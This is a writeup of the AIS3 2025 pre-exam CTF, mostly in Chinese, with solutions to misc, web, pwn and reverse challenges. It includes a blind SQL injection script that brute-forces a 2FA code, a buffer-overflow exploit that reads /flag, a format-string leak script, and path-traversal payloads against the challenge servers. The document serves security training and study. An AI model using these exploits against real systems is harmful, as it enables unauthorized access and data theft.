---
# System prepended metadata

title: AIS3 2025 pre-exam writeup

---

# AIS3 2025 pre-exam writeup

![pre-exam_2025_rank_personal_mobile](https://hackmd.io/_uploads/r1rnTlNGgx.png)

## Misc

### Welcome

![圖片](https://hackmd.io/_uploads/H1xkvN7Geg.png)

可以手打 

> flag: `AIS3{Welcome_And_Enjoy_The_CTF_!}`

### Ramen CTF

![圖片](https://hackmd.io/_uploads/B1t0axEGlg.png)

![chal](https://hackmd.io/_uploads/SydM4-4feg.jpg)

統一編號 3478592

通靈？

https://www.etax.nat.gov.tw/etwmain/etw113w1/ban/query

平和溫泉拉麵店

QRCODE -> 蝦拉

```
MF1687991111404137095000001f4000001f40000000034785923VG9sG89nFznfPnKYFRlsoA==:**********:2:2:1:蝦拉
```

https://www.einvoice.nat.gov.tw/static/ptl/ein_upload/attachments/1479449792874_0.6(20161115).pdf

- 編號：MF16879911
- 日期：1140413
- 隨機碼：70950
- 統一編號：34785923

https://www.einvoice.nat.gov.tw/portal/btc/audit/btc601w/search

![圖片](https://hackmd.io/_uploads/Bk32NZNzxl.png)


> flag: `AIS3{樂山溫泉拉麵:蝦拉麵}`

### AIS3 Tiny Server - Web / Misc

![圖片](https://hackmd.io/_uploads/Hyj-AlEMgg.png)

根據原作者的實作，會直接把 request uri 後面當作 filename 直接 open（[source](https://github.com/shenfeng/tiny-web-server/blob/master/tiny.c#285)）。所以我們就可以請求 `http://chals1.ais3.org:<port>//` 存取到跟目錄，再去找格式是 `/readable_flag_*` 的檔案就拿到 flag 了。

![圖片](https://hackmd.io/_uploads/HJvuqLVMxx.png)

![圖片](https://hackmd.io/_uploads/By86q8Ezlx.png)

> flag: `AIS3{tInY_weB_$erv3R_wiTH_fIL3_BR0Ws1nG_45_@_feaTur3}`

## Web

### Tomorin db 🐧

![圖片](https://hackmd.io/_uploads/BkeBFN7Ggx.png)

這一題是一個用 go 寫的網頁程式，可以存取 `/app/Tomorin/` 底下的檔案，同時題目的 flag 就在該目錄底下。但如果是 `/flag` 就會被重新導向到 YouTube。所以我們必須想辦法繞過 go 的路徑匹配機制，存取 `/flag`。

```go
package main

import "net/http"

func main() {
	http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
	http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
		http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
  	})
  	http.ListenAndServe(":30000", nil)
}

```

問一問 GPT 說是可以用 `%2e%2e%2fflag` 然後就拿到了，賽後測試用 `%2fflag` 也可以。

![圖片](https://hackmd.io/_uploads/rkkjidVzge.png)

> flag: `AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}`

### Login Screen 1

![圖片](https://hackmd.io/_uploads/HypmKEXGxe.png)

夢到馬祖告訴我帳號密碼是 admin admin。

![圖片](https://hackmd.io/_uploads/H1ex2u4Mxe.png)

登入後還會有個 2fa 認證才能拿到 flag。

![圖片](https://hackmd.io/_uploads/r1Pf3_NMel.png)

閱讀原始碼發現 username 有 SQL 注入的可能

用盲注 brute force 出 2fa 的 code 就拿到 flag 了。

```python
import requests

url = "http://login-screen.ctftime.uk:36368/index.php"
code = ""

for i in range(1, 20):
    for d in range(10):
        payload = f"admin' AND SUBSTR((SELECT code FROM Users WHERE username='admin'),{i},1)='{d}' --"
        data = {
            "username": payload,
            "password": "admin"
        }
        r = requests.post(url, data=data)

        if "2FA" in r.text or "Location: 2fa.php" in r.text:
            code += str(d)
            print(f"[*] {d}")
            break

print(f"[+] Final admin code: {code}")
```

最後可以求出 2FA 是 `5175644775348545983`

![圖片](https://hackmd.io/_uploads/BklGRu4Gll.png)

> flag: `AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}`

## Pwn

### Welcome to the World of Ave Mujica🌙

![圖片](https://hackmd.io/_uploads/SkvcF47Gle.png)

![圖片](https://hackmd.io/_uploads/HycfktEGex.png)

他會要求你輸入 buffer 的長度，然後再輸入內容。

他的長度會被限制在 127 內，但是可以用 int overflow，輸入 -1，會被當成 unsign，所以就是最大。

然後是的 bof 題目，用 cyclic 算 offset 後覆蓋 ret addr 即可。

```python
from pwn import *  # type: ignore

REMOTE = "chals1.ais3.org:60194"

context.arch = "amd64"
context.os = "linux"
context.log_level = "info"


def connect():
    host, port = REMOTE.split(":")
    return remote(host, int(port))

target = 0x401256

io = connect()

# script here
io.recvlines(9)
io.sendline(b"yes")
io.recvuntil(b": ")
io.sendline(b"-1")
io.recvuntil(b": ")
io.sendline(b"A" * 168 + p64(target))

io.recvlines(8)
io.sendline(b"cat /flag")
flag = io.recvline().strip()
success(f"Base64 Flag: {base64.b64encode(flag).decode()}")
success(f"Flag: {flag.decode()}")
# AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️ (Lacrima😭🥲💦)..._06583eb14788987f57474cb8edbc8595}
io.close()
```

> `AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️ (Lacrima😭🥲💦)..._06583eb14788987f57474cb8edbc8595}`

### Format Number

![圖片](https://hackmd.io/_uploads/BywjFVmzlx.png)

`easy` `pwn`

> Print the number in the format you like !
> 
> `nc chals1.ais3.org 50960`
> Author : Curious

這題可以多打一個 `$` 跳脫前面的序列，然後自己構建一個 `%n$`，然後分段 dump 出來就可以了。但是中間會有很多 `\x00` 所以要替換掉才看得懂 flag。

```python
from pwn import *  # type: ignore
import sys

BINARY = "./share/chal"
REMOTE = "chals1.ais3.org:50960"
DEBUG = len(sys.argv) > 1 and sys.argv[1] == "debug"

context.arch = "i386"
context.os = "linux"
context.log_level = "info"

# setup gdb scripts
GDBSCRIPT = """
"""


def connect():
    if DEBUG:
        return process(BINARY)
        # return gdb.debug(BINARY, gdbscript=GDBSCRIPT)
    else:
        host, port = REMOTE.split(":")
        return remote(host, int(port))


# script here
flag = b""
for i in range(20, 60):
    io = connect()
    io.recvuntil(b"? ")
    io.sendline(b"$$%" + str(i).encode() + b"$")
    io.recvuntil(b"%$$")
    data = int(io.recvline().strip().decode())
    info(f"data: {p32(data).replace(b'\x00', b'').decode()}")
    flag += p32(data)
    # io.interactive()
    io.close()
success(f"Flag: {flag.replace(b"\x00", b"").decode()}")
```

## Reverse

### AIS3 Tiny Server - Reverse

![圖片](https://hackmd.io/_uploads/r19fDEmGge.png)

![圖片](https://hackmd.io/_uploads/BJdfXFVMex.png)

透過分析可以發現，在路徑處理的函式底下有兩個用來做字串比對的函式。

![圖片](https://hackmd.io/_uploads/Sk6rQYNGeg.png)

```python
key = b"rikki_l0v3"
v8_byte = [
    0x58382033, 0x475C2812, 0xF2D5229, 0xE0A5A,
    0x5013580F, 0x34195A19, 0x43333158, 0x5A044113,
    0x2C583419, 0x3465333, 0x4A4A481E
]

v8 = bytearray()
for v in v8_byte:
    v8.extend(v.to_bytes(4, 'little'))

print(f"[*] v8: {v8.hex()}")

# xor with key
for i in range(45):
    v8[i] ^= key[i % 10]

print(f"[+] flag: {v8.decode()}")
```

### web flag checker

![圖片](https://hackmd.io/_uploads/rJo5PEmfge.png)

![圖片](https://hackmd.io/_uploads/Sk-Nrt4fxg.png)

程式流程大致上是：

- 輸入 flag 按下按鈕呼叫 `on_check`
- `flagchecker` 呼叫 `$func8` 解密 flag 做數字比較

分析 wasm 可以發現，就只是一些 ror 的組合，但每串位移的值不一樣。解出來的 flag 不知道是不是作者在玩梗，但也 ror 一下就可以拿到 flag 了。

```python
def rotate_left(value: int, shift: int) -> int:
    shift %= 64
    value &= (1 << 64) - 1  # 保證是 64 位
    return ((value << shift) | (value >> (64 - shift))) & ((1 << 64) - 1)

def rotate_right(value: int, shift: int) -> int:
    shift %= 64
    value &= (1 << 64) - 1
    return ((value >> shift) | (value << (64 - shift))) & ((1 << 64) - 1)

def str_ror(s: str, shift: int) -> str:
    shift %= len(s)
    return s[-shift:] + s[:-shift]

def str_rol(s: str, shift: int) -> str:
    shift %= len(s)
    return s[shift:] + s[:shift]


hashes = [
    (0x69282A668AEF666A, 13),
    (0x633525F4D7372337,  12),
    (0x9DB9A5A0DCC5DD7D, 2),
    (0x9833AFAFB8381A2F, 7),
    (0x6FAC8C8726464726, 5),
]

result_str = ""
for h, r in hashes:
    result = rotate_right(h, r)
    
    # 將 result 轉成字元陣列的字串
    result_bytes = result.to_bytes(8, byteorder='little')
    current_str = ''.join([chr(b) for b in result_bytes])
    result_str += current_str 

print("[+] result_str:", result_str)
# {W4SAIS3 rsM_R3v3 _w17hing 4pp__g0_ 9229dd}3

flag = ""
flag += str_rol(result_str[0:8], 4)
flag += str_rol(result_str[8:16], 2)
flag += str_rol(result_str[16:24], 5)
flag += str_rol(result_str[24:32], 5)
flag += str_rol(result_str[32:40], 7)

print(f"[+] flag: {flag}")
# AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}
```

> flag: `AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}`

### A\_simple\_snake_game

![圖片](https://hackmd.io/_uploads/SkBQdN7zll.png)

![Screenshot 2025-05-28 210427](https://hackmd.io/_uploads/SkKZcY4zgg.png)

![圖片](https://hackmd.io/_uploads/SJpx5FVMxl.png)

在顯示文字的函式中可以找到字串解密的程式碼

![圖片](https://hackmd.io/_uploads/B1A5KFEfee.png)

![圖片](https://hackmd.io/_uploads/HJ0hKt4fgg.png)

![圖片](https://hackmd.io/_uploads/BJ-1iYVzxe.png)

```python
import struct

# 原始加密整數資料
v14_values = [
    0xCE695081,
    0xC1942BB5,
    0xC38B136D,
    0xDB0830C5,
    0x774CB209,
    0xED101C59,
    0x48EB2058,
    0x6529FECF,
    0x1D9D67F7,
    0xDE102EA4,
    0x2866FD,
]

# XOR 金鑰陣列（hex_array1）
hex_array1 = [
    0xC0, 0x19, 0x3A, 0xFD, 0xCE, 0x68, 0xDC, 0xF2, 0x0C, 0x47,
    0xD4, 0x86, 0xAB, 0x57, 0x39, 0xB5, 0x3A, 0x8D, 0x13, 0x47,
    0x3F, 0x7F, 0x71, 0x98, 0x6D, 0x13, 0xB4, 0x01, 0x90, 0x9C,
    0x46, 0x3A, 0xC6, 0x33, 0xC2, 0x7F, 0xDD, 0x71, 0x78, 0x9F,
    0x93, 0x22, 0x55, 0x15, 0x00
]

# 將整數轉為小端格式位元組
def to_signed_int32(val):
    return val if val < (1 << 31) else val - (1 << 32)

signed_v14 = [to_signed_int32(val) for val in v14_values]
encrypted_bytes = b''.join(struct.pack('<i', val) for val in signed_v14)

# XOR 解密
decrypted_bytes = bytes([enc ^ key for enc, key in zip(encrypted_bytes, hex_array1)])

print("flag: ", decrypted_bytes.decode())
# AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}
```

> flag: `AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}`

### verysafe\_image\_encrypter

![圖片](https://hackmd.io/_uploads/ByJvKEQzeg.png)

![圖片](https://hackmd.io/_uploads/Bkx03tVMxe.png)


用 PIE 看可以得知有幾個 section，但 `.Aukro` 原先是沒有東西的

![圖片](https://hackmd.io/_uploads/HJT5htNzee.png)

程式會用走訪 export table 動態解析 API，會先從 `.Bukro` 讀取 payload，先用 xor 0x47 解密後，然後用 `RtlDecompressBuffer` 解壓縮到 `.Akuro`。接著讀取 `.ntHdr` 裡面的 NT header，解析裡面的 API。更改記憶體區域的權限後，取得 shellcode entry，呼叫過去。

用 x64dbg 把脫殼後的 exe dump 出來後，就可以找到加密圖片的部分。會發現是很簡單的 xor + shift。

![圖片](https://hackmd.io/_uploads/Hy96kqNfge.png)

![圖片](https://hackmd.io/_uploads/SkTkl9Nfex.png)

```python
def xor_decrypt_image(input_path, output_path, key=114):
    with open(input_path, "rb") as infile:
        encrypted_data = infile.read()

    decrypted_data = bytes([((b - 4) ^ key) & 0xFF for b in encrypted_data])

    with open(output_path, "wb") as outfile:
        outfile.write(decrypted_data)

    print(f"[+] 圖片已還原並儲存為：{output_path}")



# 範例使用方式
if __name__ == "__main__":
    input_file = "encrypted_image.png"    # 請替換為你的 XOR 加密圖片路徑
    output_file = "restored.png"   # 還原後的輸出檔名

    xor_decrypt_image(input_file, output_file)
```

![flag](https://hackmd.io/_uploads/BktpiYVMgl.jpg)

> flag: `AIS3{rwx_53gm3nttt_s0_5AS}`